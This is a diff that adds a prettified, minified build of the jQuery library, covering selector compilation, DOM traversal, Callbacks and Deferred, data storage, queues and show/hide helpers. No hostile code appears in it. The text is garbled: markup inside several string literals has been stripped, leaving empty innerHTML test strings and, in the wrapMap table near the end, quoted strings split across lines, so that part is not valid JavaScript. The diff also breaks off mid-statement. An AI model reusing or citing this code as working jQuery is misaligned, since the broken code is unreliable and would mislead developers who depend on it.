+ a = n && "parentNode" === o,
+ s = C++;
+ return t.first
+ ? function (t, n, i) {
+ while ((t = t[r])) if (1 === t.nodeType || a) return e(t, n, i);
+ return !1;
+ }
+ : function (t, n, u) {
+ var l,
+ c,
+ f,
+ p = [T, s];
+ if (u) {
+ while ((t = t[r]))
+ if ((1 === t.nodeType || a) && e(t, n, u)) return !0;
+ } else
+ while ((t = t[r]))
+ if (1 === t.nodeType || a)
+ if (
+ ((f = t[b] || (t[b] = {})),
+ (c = f[t.uniqueID] || (f[t.uniqueID] = {})),
+ i && i === t.nodeName.toLowerCase())
+ )
+ t = t[r] || t;
+ else {
+ if ((l = c[o]) && l[0] === T && l[1] === s)
+ return (p[2] = l[2]);
+ if (((c[o] = p), (p[2] = e(t, n, u)))) return !0;
+ }
+ return !1;
+ };
+ }
+ function xe(e) {
+ return e.length > 1
+ ? function (t, n, r) {
+ var i = e.length;
+ while (i--) if (!e[i](t, n, r)) return !1;
+ return !0;
+ }
+ : e[0];
+ }
+ function be(e, t, n) {
+ for (var r = 0, i = t.length; r < i; r++) oe(e, t[r], n);
+ return n;
+ }
+ function we(e, t, n, r, i) {
+ for (var o, a = [], s = 0, u = e.length, l = null != t; s < u; s++)
+ (o = e[s]) && ((n && !n(o, r, i)) || (a.push(o), l && t.push(s)));
+ return a;
+ }
+ function Te(e, t, n, r, i, o) {
+ return (
+ r && !r[b] && (r = Te(r)),
+ i && !i[b] && (i = Te(i, o)),
+ se(function (o, a, s, u) {
+ var l,
+ c,
+ f,
+ p = [],
+ d = [],
+ h = a.length,
+ g = o || be(t || "*", s.nodeType ? [s] : s, []),
+ y = !e || (!o && t) ? g : we(g, p, e, s, u),
+ v = n ? (i || (o ? e : h || r) ? [] : a) : y;
+ if ((n && n(y, v, s, u), r)) {
+ (l = we(v, d)), r(l, [], s, u), (c = l.length);
+ while (c--) (f = l[c]) && (v[d[c]] = !(y[d[c]] = f));
+ }
+ if (o) {
+ if (i || e) {
+ if (i) {
+ (l = []), (c = v.length);
+ while (c--) (f = v[c]) && l.push((y[c] = f));
+ i(null, (v = []), l, u);
+ }
+ c = v.length;
+ while (c--)
+ (f = v[c]) &&
+ (l = i ? O(o, f) : p[c]) > -1 &&
+ (o[l] = !(a[l] = f));
+ }
+ } else (v = we(v === a ? v.splice(h, v.length) : v)), i ? i(null, a, v, u) : L.apply(a, v);
+ })
+ );
+ }
+ function Ce(e) {
+ for (
+ var t,
+ n,
+ i,
+ o = e.length,
+ a = r.relative[e[0].type],
+ s = a || r.relative[" "],
+ u = a ? 1 : 0,
+ c = me(
+ function (e) {
+ return e === t;
+ },
+ s,
+ !0
+ ),
+ f = me(
+ function (e) {
+ return O(t, e) > -1;
+ },
+ s,
+ !0
+ ),
+ p = [
+ function (e, n, r) {
+ var i =
+ (!a && (r || n !== l)) ||
+ ((t = n).nodeType ? c(e, n, r) : f(e, n, r));
+ return (t = null), i;
+ },
+ ];
+ u < o;
+ u++
+ )
+ if ((n = r.relative[e[u].type])) p = [me(xe(p), n)];
+ else {
+ if ((n = r.filter[e[u].type].apply(null, e[u].matches))[b]) {
+ for (i = ++u; i < o; i++) if (r.relative[e[i].type]) break;
+ return Te(
+ u > 1 && xe(p),
+ u > 1 &&
+ ve(
+ e
+ .slice(0, u - 1)
+ .concat({ value: " " === e[u - 2].type ? "*" : "" })
+ ).replace(B, "$1"),
+ n,
+ u < i && Ce(e.slice(u, i)),
+ i < o && Ce((e = e.slice(i))),
+ i < o && ve(e)
+ );
+ }
+ p.push(n);
+ }
+ return xe(p);
+ }
+ function Ee(e, t) {
+ var n = t.length > 0,
+ i = e.length > 0,
+ o = function (o, a, s, u, c) {
+ var f,
+ h,
+ y,
+ v = 0,
+ m = "0",
+ x = o && [],
+ b = [],
+ w = l,
+ C = o || (i && r.find.TAG("*", c)),
+ E = (T += null == w ? 1 : Math.random() || 0.1),
+ k = C.length;
+ for (
+ c && (l = a === d || a || c);
+ m !== k && null != (f = C[m]);
+ m++
+ ) {
+ if (i && f) {
+ (h = 0), a || f.ownerDocument === d || (p(f), (s = !g));
+ while ((y = e[h++]))
+ if (y(f, a || d, s)) {
+ u.push(f);
+ break;
+ }
+ c && (T = E);
+ }
+ n && ((f = !y && f) && v--, o && x.push(f));
+ }
+ if (((v += m), n && m !== v)) {
+ h = 0;
+ while ((y = t[h++])) y(x, b, a, s);
+ if (o) {
+ if (v > 0) while (m--) x[m] || b[m] || (b[m] = j.call(u));
+ b = we(b);
+ }
+ L.apply(u, b),
+ c && !o && b.length > 0 && v + t.length > 1 && oe.uniqueSort(u);
+ }
+ return c && ((T = E), (l = w)), x;
+ };
+ return n ? se(o) : o;
+ }
+ return (
+ (s = oe.compile =
+ function (e, t) {
+ var n,
+ r = [],
+ i = [],
+ o = S[e + " "];
+ if (!o) {
+ t || (t = a(e)), (n = t.length);
+ while (n--) (o = Ce(t[n]))[b] ? r.push(o) : i.push(o);
+ (o = S(e, Ee(i, r))).selector = e;
+ }
+ return o;
+ }),
+ (u = oe.select =
+ function (e, t, n, i) {
+ var o,
+ u,
+ l,
+ c,
+ f,
+ p = "function" == typeof e && e,
+ d = !i && a((e = p.selector || e));
+ if (((n = n || []), 1 === d.length)) {
+ if (
+ (u = d[0] = d[0].slice(0)).length > 2 &&
+ "ID" === (l = u[0]).type &&
+ 9 === t.nodeType &&
+ g &&
+ r.relative[u[1].type]
+ ) {
+ if (!(t = (r.find.ID(l.matches[0].replace(Z, ee), t) || [])[0]))
+ return n;
+ p && (t = t.parentNode), (e = e.slice(u.shift().value.length));
+ }
+ o = V.needsContext.test(e) ? 0 : u.length;
+ while (o--) {
+ if (((l = u[o]), r.relative[(c = l.type)])) break;
+ if (
+ (f = r.find[c]) &&
+ (i = f(
+ l.matches[0].replace(Z, ee),
+ (K.test(u[0].type) && ge(t.parentNode)) || t
+ ))
+ ) {
+ if ((u.splice(o, 1), !(e = i.length && ve(u))))
+ return L.apply(n, i), n;
+ break;
+ }
+ }
+ }
+ return (
+ (p || s(e, d))(
+ i,
+ t,
+ !g,
+ n,
+ !t || (K.test(e) && ge(t.parentNode)) || t
+ ),
+ n
+ );
+ }),
+ (n.sortStable = b.split("").sort(D).join("") === b),
+ (n.detectDuplicates = !!f),
+ p(),
+ (n.sortDetached = ue(function (e) {
+ return 1 & e.compareDocumentPosition(d.createElement("fieldset"));
+ })),
+ ue(function (e) {
+ return (
+ (e.innerHTML = ""),
+ "#" === e.firstChild.getAttribute("href")
+ );
+ }) ||
+ le("type|href|height|width", function (e, t, n) {
+ if (!n) return e.getAttribute(t, "type" === t.toLowerCase() ? 1 : 2);
+ }),
+ (n.attributes &&
+ ue(function (e) {
+ return (
+ (e.innerHTML = ""),
+ e.firstChild.setAttribute("value", ""),
+ "" === e.firstChild.getAttribute("value")
+ );
+ })) ||
+ le("value", function (e, t, n) {
+ if (!n && "input" === e.nodeName.toLowerCase()) return e.defaultValue;
+ }),
+ ue(function (e) {
+ return null == e.getAttribute("disabled");
+ }) ||
+ le(P, function (e, t, n) {
+ var r;
+ if (!n)
+ return !0 === e[t]
+ ? t.toLowerCase()
+ : (r = e.getAttributeNode(t)) && r.specified
+ ? r.value
+ : null;
+ }),
+ oe
+ );
+ })(e);
+ (w.find = E),
+ (w.expr = E.selectors),
+ (w.expr[":"] = w.expr.pseudos),
+ (w.uniqueSort = w.unique = E.uniqueSort),
+ (w.text = E.getText),
+ (w.isXMLDoc = E.isXML),
+ (w.contains = E.contains),
+ (w.escapeSelector = E.escape);
+ var k = function (e, t, n) {
+ var r = [],
+ i = void 0 !== n;
+ while ((e = e[t]) && 9 !== e.nodeType)
+ if (1 === e.nodeType) {
+ if (i && w(e).is(n)) break;
+ r.push(e);
+ }
+ return r;
+ },
+ S = function (e, t) {
+ for (var n = []; e; e = e.nextSibling)
+ 1 === e.nodeType && e !== t && n.push(e);
+ return n;
+ },
+ D = w.expr.match.needsContext;
+ function N(e, t) {
+ return e.nodeName && e.nodeName.toLowerCase() === t.toLowerCase();
+ }
+ var A = /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;
+ function j(e, t, n) {
+ return g(t)
+ ? w.grep(e, function (e, r) {
+ return !!t.call(e, r, e) !== n;
+ })
+ : t.nodeType
+ ? w.grep(e, function (e) {
+ return (e === t) !== n;
+ })
+ : "string" != typeof t
+ ? w.grep(e, function (e) {
+ return u.call(t, e) > -1 !== n;
+ })
+ : w.filter(t, e, n);
+ }
+ (w.filter = function (e, t, n) {
+ var r = t[0];
+ return (
+ n && (e = ":not(" + e + ")"),
+ 1 === t.length && 1 === r.nodeType
+ ? w.find.matchesSelector(r, e)
+ ? [r]
+ : []
+ : w.find.matches(
+ e,
+ w.grep(t, function (e) {
+ return 1 === e.nodeType;
+ })
+ )
+ );
+ }),
+ w.fn.extend({
+ find: function (e) {
+ var t,
+ n,
+ r = this.length,
+ i = this;
+ if ("string" != typeof e)
+ return this.pushStack(
+ w(e).filter(function () {
+ for (t = 0; t < r; t++) if (w.contains(i[t], this)) return !0;
+ })
+ );
+ for (n = this.pushStack([]), t = 0; t < r; t++) w.find(e, i[t], n);
+ return r > 1 ? w.uniqueSort(n) : n;
+ },
+ filter: function (e) {
+ return this.pushStack(j(this, e || [], !1));
+ },
+ not: function (e) {
+ return this.pushStack(j(this, e || [], !0));
+ },
+ is: function (e) {
+ return !!j(this, "string" == typeof e && D.test(e) ? w(e) : e || [], !1)
+ .length;
+ },
+ });
+ var q,
+ L = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;
+ ((w.fn.init = function (e, t, n) {
+ var i, o;
+ if (!e) return this;
+ if (((n = n || q), "string" == typeof e)) {
+ if (
+ !(i =
+ "<" === e[0] && ">" === e[e.length - 1] && e.length >= 3
+ ? [null, e, null]
+ : L.exec(e)) ||
+ (!i[1] && t)
+ )
+ return !t || t.jquery ? (t || n).find(e) : this.constructor(t).find(e);
+ if (i[1]) {
+ if (
+ ((t = t instanceof w ? t[0] : t),
+ w.merge(
+ this,
+ w.parseHTML(i[1], t && t.nodeType ? t.ownerDocument || t : r, !0)
+ ),
+ A.test(i[1]) && w.isPlainObject(t))
+ )
+ for (i in t) g(this[i]) ? this[i](t[i]) : this.attr(i, t[i]);
+ return this;
+ }
+ return (
+ (o = r.getElementById(i[2])) && ((this[0] = o), (this.length = 1)), this
+ );
+ }
+ return e.nodeType
+ ? ((this[0] = e), (this.length = 1), this)
+ : g(e)
+ ? void 0 !== n.ready
+ ? n.ready(e)
+ : e(w)
+ : w.makeArray(e, this);
+ }).prototype = w.fn),
+ (q = w(r));
+ var H = /^(?:parents|prev(?:Until|All))/,
+ O = { children: !0, contents: !0, next: !0, prev: !0 };
+ w.fn.extend({
+ has: function (e) {
+ var t = w(e, this),
+ n = t.length;
+ return this.filter(function () {
+ for (var e = 0; e < n; e++) if (w.contains(this, t[e])) return !0;
+ });
+ },
+ closest: function (e, t) {
+ var n,
+ r = 0,
+ i = this.length,
+ o = [],
+ a = "string" != typeof e && w(e);
+ if (!D.test(e))
+ for (; r < i; r++)
+ for (n = this[r]; n && n !== t; n = n.parentNode)
+ if (
+ n.nodeType < 11 &&
+ (a
+ ? a.index(n) > -1
+ : 1 === n.nodeType && w.find.matchesSelector(n, e))
+ ) {
+ o.push(n);
+ break;
+ }
+ return this.pushStack(o.length > 1 ? w.uniqueSort(o) : o);
+ },
+ index: function (e) {
+ return e
+ ? "string" == typeof e
+ ? u.call(w(e), this[0])
+ : u.call(this, e.jquery ? e[0] : e)
+ : this[0] && this[0].parentNode
+ ? this.first().prevAll().length
+ : -1;
+ },
+ add: function (e, t) {
+ return this.pushStack(w.uniqueSort(w.merge(this.get(), w(e, t))));
+ },
+ addBack: function (e) {
+ return this.add(null == e ? this.prevObject : this.prevObject.filter(e));
+ },
+ });
+ function P(e, t) {
+ while ((e = e[t]) && 1 !== e.nodeType);
+ return e;
+ }
+ w.each(
+ {
+ parent: function (e) {
+ var t = e.parentNode;
+ return t && 11 !== t.nodeType ? t : null;
+ },
+ parents: function (e) {
+ return k(e, "parentNode");
+ },
+ parentsUntil: function (e, t, n) {
+ return k(e, "parentNode", n);
+ },
+ next: function (e) {
+ return P(e, "nextSibling");
+ },
+ prev: function (e) {
+ return P(e, "previousSibling");
+ },
+ nextAll: function (e) {
+ return k(e, "nextSibling");
+ },
+ prevAll: function (e) {
+ return k(e, "previousSibling");
+ },
+ nextUntil: function (e, t, n) {
+ return k(e, "nextSibling", n);
+ },
+ prevUntil: function (e, t, n) {
+ return k(e, "previousSibling", n);
+ },
+ siblings: function (e) {
+ return S((e.parentNode || {}).firstChild, e);
+ },
+ children: function (e) {
+ return S(e.firstChild);
+ },
+ contents: function (e) {
+ return N(e, "iframe")
+ ? e.contentDocument
+ : (N(e, "template") && (e = e.content || e),
+ w.merge([], e.childNodes));
+ },
+ },
+ function (e, t) {
+ w.fn[e] = function (n, r) {
+ var i = w.map(this, t, n);
+ return (
+ "Until" !== e.slice(-5) && (r = n),
+ r && "string" == typeof r && (i = w.filter(r, i)),
+ this.length > 1 &&
+ (O[e] || w.uniqueSort(i), H.test(e) && i.reverse()),
+ this.pushStack(i)
+ );
+ };
+ }
+ );
+ var M = /[^\x20\t\r\n\f]+/g;
+ function R(e) {
+ var t = {};
+ return (
+ w.each(e.match(M) || [], function (e, n) {
+ t[n] = !0;
+ }),
+ t
+ );
+ }
+ w.Callbacks = function (e) {
+ e = "string" == typeof e ? R(e) : w.extend({}, e);
+ var t,
+ n,
+ r,
+ i,
+ o = [],
+ a = [],
+ s = -1,
+ u = function () {
+ for (i = i || e.once, r = t = !0; a.length; s = -1) {
+ n = a.shift();
+ while (++s < o.length)
+ !1 === o[s].apply(n[0], n[1]) &&
+ e.stopOnFalse &&
+ ((s = o.length), (n = !1));
+ }
+ e.memory || (n = !1), (t = !1), i && (o = n ? [] : "");
+ },
+ l = {
+ add: function () {
+ return (
+ o &&
+ (n && !t && ((s = o.length - 1), a.push(n)),
+ (function t(n) {
+ w.each(n, function (n, r) {
+ g(r)
+ ? (e.unique && l.has(r)) || o.push(r)
+ : r && r.length && "string" !== x(r) && t(r);
+ });
+ })(arguments),
+ n && !t && u()),
+ this
+ );
+ },
+ remove: function () {
+ return (
+ w.each(arguments, function (e, t) {
+ var n;
+ while ((n = w.inArray(t, o, n)) > -1)
+ o.splice(n, 1), n <= s && s--;
+ }),
+ this
+ );
+ },
+ has: function (e) {
+ return e ? w.inArray(e, o) > -1 : o.length > 0;
+ },
+ empty: function () {
+ return o && (o = []), this;
+ },
+ disable: function () {
+ return (i = a = []), (o = n = ""), this;
+ },
+ disabled: function () {
+ return !o;
+ },
+ lock: function () {
+ return (i = a = []), n || t || (o = n = ""), this;
+ },
+ locked: function () {
+ return !!i;
+ },
+ fireWith: function (e, n) {
+ return (
+ i ||
+ ((n = [e, (n = n || []).slice ? n.slice() : n]),
+ a.push(n),
+ t || u()),
+ this
+ );
+ },
+ fire: function () {
+ return l.fireWith(this, arguments), this;
+ },
+ fired: function () {
+ return !!r;
+ },
+ };
+ return l;
+ };
+ function I(e) {
+ return e;
+ }
+ function W(e) {
+ throw e;
+ }
+ function $(e, t, n, r) {
+ var i;
+ try {
+ e && g((i = e.promise))
+ ? i.call(e).done(t).fail(n)
+ : e && g((i = e.then))
+ ? i.call(e, t, n)
+ : t.apply(void 0, [e].slice(r));
+ } catch (e) {
+ n.apply(void 0, [e]);
+ }
+ }
+ w.extend({
+ Deferred: function (t) {
+ var n = [
+ [
+ "notify",
+ "progress",
+ w.Callbacks("memory"),
+ w.Callbacks("memory"),
+ 2,
+ ],
+ [
+ "resolve",
+ "done",
+ w.Callbacks("once memory"),
+ w.Callbacks("once memory"),
+ 0,
+ "resolved",
+ ],
+ [
+ "reject",
+ "fail",
+ w.Callbacks("once memory"),
+ w.Callbacks("once memory"),
+ 1,
+ "rejected",
+ ],
+ ],
+ r = "pending",
+ i = {
+ state: function () {
+ return r;
+ },
+ always: function () {
+ return o.done(arguments).fail(arguments), this;
+ },
+ catch: function (e) {
+ return i.then(null, e);
+ },
+ pipe: function () {
+ var e = arguments;
+ return w
+ .Deferred(function (t) {
+ w.each(n, function (n, r) {
+ var i = g(e[r[4]]) && e[r[4]];
+ o[r[1]](function () {
+ var e = i && i.apply(this, arguments);
+ e && g(e.promise)
+ ? e
+ .promise()
+ .progress(t.notify)
+ .done(t.resolve)
+ .fail(t.reject)
+ : t[r[0] + "With"](this, i ? [e] : arguments);
+ });
+ }),
+ (e = null);
+ })
+ .promise();
+ },
+ then: function (t, r, i) {
+ var o = 0;
+ function a(t, n, r, i) {
+ return function () {
+ var s = this,
+ u = arguments,
+ l = function () {
+ var e, l;
+ if (!(t < o)) {
+ if ((e = r.apply(s, u)) === n.promise())
+ throw new TypeError("Thenable self-resolution");
+ (l =
+ e &&
+ ("object" == typeof e || "function" == typeof e) &&
+ e.then),
+ g(l)
+ ? i
+ ? l.call(e, a(o, n, I, i), a(o, n, W, i))
+ : (o++,
+ l.call(
+ e,
+ a(o, n, I, i),
+ a(o, n, W, i),
+ a(o, n, I, n.notifyWith)
+ ))
+ : (r !== I && ((s = void 0), (u = [e])),
+ (i || n.resolveWith)(s, u));
+ }
+ },
+ c = i
+ ? l
+ : function () {
+ try {
+ l();
+ } catch (e) {
+ w.Deferred.exceptionHook &&
+ w.Deferred.exceptionHook(e, c.stackTrace),
+ t + 1 >= o &&
+ (r !== W && ((s = void 0), (u = [e])),
+ n.rejectWith(s, u));
+ }
+ };
+ t
+ ? c()
+ : (w.Deferred.getStackHook &&
+ (c.stackTrace = w.Deferred.getStackHook()),
+ e.setTimeout(c));
+ };
+ }
+ return w
+ .Deferred(function (e) {
+ n[0][3].add(a(0, e, g(i) ? i : I, e.notifyWith)),
+ n[1][3].add(a(0, e, g(t) ? t : I)),
+ n[2][3].add(a(0, e, g(r) ? r : W));
+ })
+ .promise();
+ },
+ promise: function (e) {
+ return null != e ? w.extend(e, i) : i;
+ },
+ },
+ o = {};
+ return (
+ w.each(n, function (e, t) {
+ var a = t[2],
+ s = t[5];
+ (i[t[1]] = a.add),
+ s &&
+ a.add(
+ function () {
+ r = s;
+ },
+ n[3 - e][2].disable,
+ n[3 - e][3].disable,
+ n[0][2].lock,
+ n[0][3].lock
+ ),
+ a.add(t[3].fire),
+ (o[t[0]] = function () {
+ return (
+ o[t[0] + "With"](this === o ? void 0 : this, arguments), this
+ );
+ }),
+ (o[t[0] + "With"] = a.fireWith);
+ }),
+ i.promise(o),
+ t && t.call(o, o),
+ o
+ );
+ },
+ when: function (e) {
+ var t = arguments.length,
+ n = t,
+ r = Array(n),
+ i = o.call(arguments),
+ a = w.Deferred(),
+ s = function (e) {
+ return function (n) {
+ (r[e] = this),
+ (i[e] = arguments.length > 1 ? o.call(arguments) : n),
+ --t || a.resolveWith(r, i);
+ };
+ };
+ if (
+ t <= 1 &&
+ ($(e, a.done(s(n)).resolve, a.reject, !t),
+ "pending" === a.state() || g(i[n] && i[n].then))
+ )
+ return a.then();
+ while (n--) $(i[n], s(n), a.reject);
+ return a.promise();
+ },
+ });
+ var B = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;
+ (w.Deferred.exceptionHook = function (t, n) {
+ e.console &&
+ e.console.warn &&
+ t &&
+ B.test(t.name) &&
+ e.console.warn("jQuery.Deferred exception: " + t.message, t.stack, n);
+ }),
+ (w.readyException = function (t) {
+ e.setTimeout(function () {
+ throw t;
+ });
+ });
+ var F = w.Deferred();
+ (w.fn.ready = function (e) {
+ return (
+ F.then(e)["catch"](function (e) {
+ w.readyException(e);
+ }),
+ this
+ );
+ }),
+ w.extend({
+ isReady: !1,
+ readyWait: 1,
+ ready: function (e) {
+ (!0 === e ? --w.readyWait : w.isReady) ||
+ ((w.isReady = !0),
+ (!0 !== e && --w.readyWait > 0) || F.resolveWith(r, [w]));
+ },
+ }),
+ (w.ready.then = F.then);
+ function _() {
+ r.removeEventListener("DOMContentLoaded", _),
+ e.removeEventListener("load", _),
+ w.ready();
+ }
+ "complete" === r.readyState ||
+ ("loading" !== r.readyState && !r.documentElement.doScroll)
+ ? e.setTimeout(w.ready)
+ : (r.addEventListener("DOMContentLoaded", _),
+ e.addEventListener("load", _));
+ var z = function (e, t, n, r, i, o, a) {
+ var s = 0,
+ u = e.length,
+ l = null == n;
+ if ("object" === x(n)) {
+ i = !0;
+ for (s in n) z(e, t, s, n[s], !0, o, a);
+ } else if (
+ void 0 !== r &&
+ ((i = !0),
+ g(r) || (a = !0),
+ l &&
+ (a
+ ? (t.call(e, r), (t = null))
+ : ((l = t),
+ (t = function (e, t, n) {
+ return l.call(w(e), n);
+ }))),
+ t)
+ )
+ for (; s < u; s++) t(e[s], n, a ? r : r.call(e[s], s, t(e[s], n)));
+ return i ? e : l ? t.call(e) : u ? t(e[0], n) : o;
+ },
+ X = /^-ms-/,
+ U = /-([a-z])/g;
+ function V(e, t) {
+ return t.toUpperCase();
+ }
+ function G(e) {
+ return e.replace(X, "ms-").replace(U, V);
+ }
+ var Y = function (e) {
+ return 1 === e.nodeType || 9 === e.nodeType || !+e.nodeType;
+ };
+ function Q() {
+ this.expando = w.expando + Q.uid++;
+ }
+ (Q.uid = 1),
+ (Q.prototype = {
+ cache: function (e) {
+ var t = e[this.expando];
+ return (
+ t ||
+ ((t = {}),
+ Y(e) &&
+ (e.nodeType
+ ? (e[this.expando] = t)
+ : Object.defineProperty(e, this.expando, {
+ value: t,
+ configurable: !0,
+ }))),
+ t
+ );
+ },
+ set: function (e, t, n) {
+ var r,
+ i = this.cache(e);
+ if ("string" == typeof t) i[G(t)] = n;
+ else for (r in t) i[G(r)] = t[r];
+ return i;
+ },
+ get: function (e, t) {
+ return void 0 === t
+ ? this.cache(e)
+ : e[this.expando] && e[this.expando][G(t)];
+ },
+ access: function (e, t, n) {
+ return void 0 === t || (t && "string" == typeof t && void 0 === n)
+ ? this.get(e, t)
+ : (this.set(e, t, n), void 0 !== n ? n : t);
+ },
+ remove: function (e, t) {
+ var n,
+ r = e[this.expando];
+ if (void 0 !== r) {
+ if (void 0 !== t) {
+ n = (t = Array.isArray(t)
+ ? t.map(G)
+ : (t = G(t)) in r
+ ? [t]
+ : t.match(M) || []).length;
+ while (n--) delete r[t[n]];
+ }
+ (void 0 === t || w.isEmptyObject(r)) &&
+ (e.nodeType ? (e[this.expando] = void 0) : delete e[this.expando]);
+ }
+ },
+ hasData: function (e) {
+ var t = e[this.expando];
+ return void 0 !== t && !w.isEmptyObject(t);
+ },
+ });
+ var J = new Q(),
+ K = new Q(),
+ Z = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
+ ee = /[A-Z]/g;
+ function te(e) {
+ return (
+ "true" === e ||
+ ("false" !== e &&
+ ("null" === e
+ ? null
+ : e === +e + ""
+ ? +e
+ : Z.test(e)
+ ? JSON.parse(e)
+ : e))
+ );
+ }
+ function ne(e, t, n) {
+ var r;
+ if (void 0 === n && 1 === e.nodeType)
+ if (
+ ((r = "data-" + t.replace(ee, "-$&").toLowerCase()),
+ "string" == typeof (n = e.getAttribute(r)))
+ ) {
+ try {
+ n = te(n);
+ } catch (e) {}
+ K.set(e, t, n);
+ } else n = void 0;
+ return n;
+ }
+ w.extend({
+ hasData: function (e) {
+ return K.hasData(e) || J.hasData(e);
+ },
+ data: function (e, t, n) {
+ return K.access(e, t, n);
+ },
+ removeData: function (e, t) {
+ K.remove(e, t);
+ },
+ _data: function (e, t, n) {
+ return J.access(e, t, n);
+ },
+ _removeData: function (e, t) {
+ J.remove(e, t);
+ },
+ }),
+ w.fn.extend({
+ data: function (e, t) {
+ var n,
+ r,
+ i,
+ o = this[0],
+ a = o && o.attributes;
+ if (void 0 === e) {
+ if (
+ this.length &&
+ ((i = K.get(o)), 1 === o.nodeType && !J.get(o, "hasDataAttrs"))
+ ) {
+ n = a.length;
+ while (n--)
+ a[n] &&
+ 0 === (r = a[n].name).indexOf("data-") &&
+ ((r = G(r.slice(5))), ne(o, r, i[r]));
+ J.set(o, "hasDataAttrs", !0);
+ }
+ return i;
+ }
+ return "object" == typeof e
+ ? this.each(function () {
+ K.set(this, e);
+ })
+ : z(
+ this,
+ function (t) {
+ var n;
+ if (o && void 0 === t) {
+ if (void 0 !== (n = K.get(o, e))) return n;
+ if (void 0 !== (n = ne(o, e))) return n;
+ } else
+ this.each(function () {
+ K.set(this, e, t);
+ });
+ },
+ null,
+ t,
+ arguments.length > 1,
+ null,
+ !0
+ );
+ },
+ removeData: function (e) {
+ return this.each(function () {
+ K.remove(this, e);
+ });
+ },
+ }),
+ w.extend({
+ queue: function (e, t, n) {
+ var r;
+ if (e)
+ return (
+ (t = (t || "fx") + "queue"),
+ (r = J.get(e, t)),
+ n &&
+ (!r || Array.isArray(n)
+ ? (r = J.access(e, t, w.makeArray(n)))
+ : r.push(n)),
+ r || []
+ );
+ },
+ dequeue: function (e, t) {
+ t = t || "fx";
+ var n = w.queue(e, t),
+ r = n.length,
+ i = n.shift(),
+ o = w._queueHooks(e, t),
+ a = function () {
+ w.dequeue(e, t);
+ };
+ "inprogress" === i && ((i = n.shift()), r--),
+ i &&
+ ("fx" === t && n.unshift("inprogress"),
+ delete o.stop,
+ i.call(e, a, o)),
+ !r && o && o.empty.fire();
+ },
+ _queueHooks: function (e, t) {
+ var n = t + "queueHooks";
+ return (
+ J.get(e, n) ||
+ J.access(e, n, {
+ empty: w.Callbacks("once memory").add(function () {
+ J.remove(e, [t + "queue", n]);
+ }),
+ })
+ );
+ },
+ }),
+ w.fn.extend({
+ queue: function (e, t) {
+ var n = 2;
+ return (
+ "string" != typeof e && ((t = e), (e = "fx"), n--),
+ arguments.length < n
+ ? w.queue(this[0], e)
+ : void 0 === t
+ ? this
+ : this.each(function () {
+ var n = w.queue(this, e, t);
+ w._queueHooks(this, e),
+ "fx" === e && "inprogress" !== n[0] && w.dequeue(this, e);
+ })
+ );
+ },
+ dequeue: function (e) {
+ return this.each(function () {
+ w.dequeue(this, e);
+ });
+ },
+ clearQueue: function (e) {
+ return this.queue(e || "fx", []);
+ },
+ promise: function (e, t) {
+ var n,
+ r = 1,
+ i = w.Deferred(),
+ o = this,
+ a = this.length,
+ s = function () {
+ --r || i.resolveWith(o, [o]);
+ };
+ "string" != typeof e && ((t = e), (e = void 0)), (e = e || "fx");
+ while (a--)
+ (n = J.get(o[a], e + "queueHooks")) &&
+ n.empty &&
+ (r++, n.empty.add(s));
+ return s(), i.promise(t);
+ },
+ });
+ var re = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,
+ ie = new RegExp("^(?:([+-])=|)(" + re + ")([a-z%]*)$", "i"),
+ oe = ["Top", "Right", "Bottom", "Left"],
+ ae = function (e, t) {
+ return (
+ "none" === (e = t || e).style.display ||
+ ("" === e.style.display &&
+ w.contains(e.ownerDocument, e) &&
+ "none" === w.css(e, "display"))
+ );
+ },
+ se = function (e, t, n, r) {
+ var i,
+ o,
+ a = {};
+ for (o in t) (a[o] = e.style[o]), (e.style[o] = t[o]);
+ i = n.apply(e, r || []);
+ for (o in t) e.style[o] = a[o];
+ return i;
+ };
+ function ue(e, t, n, r) {
+ var i,
+ o,
+ a = 20,
+ s = r
+ ? function () {
+ return r.cur();
+ }
+ : function () {
+ return w.css(e, t, "");
+ },
+ u = s(),
+ l = (n && n[3]) || (w.cssNumber[t] ? "" : "px"),
+ c = (w.cssNumber[t] || ("px" !== l && +u)) && ie.exec(w.css(e, t));
+ if (c && c[3] !== l) {
+ (u /= 2), (l = l || c[3]), (c = +u || 1);
+ while (a--)
+ w.style(e, t, c + l),
+ (1 - o) * (1 - (o = s() / u || 0.5)) <= 0 && (a = 0),
+ (c /= o);
+ (c *= 2), w.style(e, t, c + l), (n = n || []);
+ }
+ return (
+ n &&
+ ((c = +c || +u || 0),
+ (i = n[1] ? c + (n[1] + 1) * n[2] : +n[2]),
+ r && ((r.unit = l), (r.start = c), (r.end = i))),
+ i
+ );
+ }
+ var le = {};
+ function ce(e) {
+ var t,
+ n = e.ownerDocument,
+ r = e.nodeName,
+ i = le[r];
+ return (
+ i ||
+ ((t = n.body.appendChild(n.createElement(r))),
+ (i = w.css(t, "display")),
+ t.parentNode.removeChild(t),
+ "none" === i && (i = "block"),
+ (le[r] = i),
+ i)
+ );
+ }
+ function fe(e, t) {
+ for (var n, r, i = [], o = 0, a = e.length; o < a; o++)
+ (r = e[o]).style &&
+ ((n = r.style.display),
+ t
+ ? ("none" === n &&
+ ((i[o] = J.get(r, "display") || null),
+ i[o] || (r.style.display = "")),
+ "" === r.style.display && ae(r) && (i[o] = ce(r)))
+ : "none" !== n && ((i[o] = "none"), J.set(r, "display", n)));
+ for (o = 0; o < a; o++) null != i[o] && (e[o].style.display = i[o]);
+ return e;
+ }
+ w.fn.extend({
+ show: function () {
+ return fe(this, !0);
+ },
+ hide: function () {
+ return fe(this);
+ },
+ toggle: function (e) {
+ return "boolean" == typeof e
+ ? e
+ ? this.show()
+ : this.hide()
+ : this.each(function () {
+ ae(this) ? w(this).show() : w(this).hide();
+ });
+ },
+ });
+ var pe = /^(?:checkbox|radio)$/i,
+ de = /<([a-z][^\/\0>\x20\t\r\n\f]+)/i,
+ he = /^$|^module$|\/(?:java|ecma)script/i,
+ ge = {
+ option: [1, ""],
+ thead: [1, "
", "
"],
+ col: [2, "
", "
"],
+ tr: [2, "
", "
"],
+ td: [3, "
", "
"],
+ _default: [0, "", ""],
+ };
+ (ge.optgroup = ge.option),
+ (ge.tbody = ge.tfoot = ge.colgroup = ge.caption = ge.thead),
+ (ge.th = ge.td);
+ function ye(e, t) {
+ var n;
+ return (
+ (n =
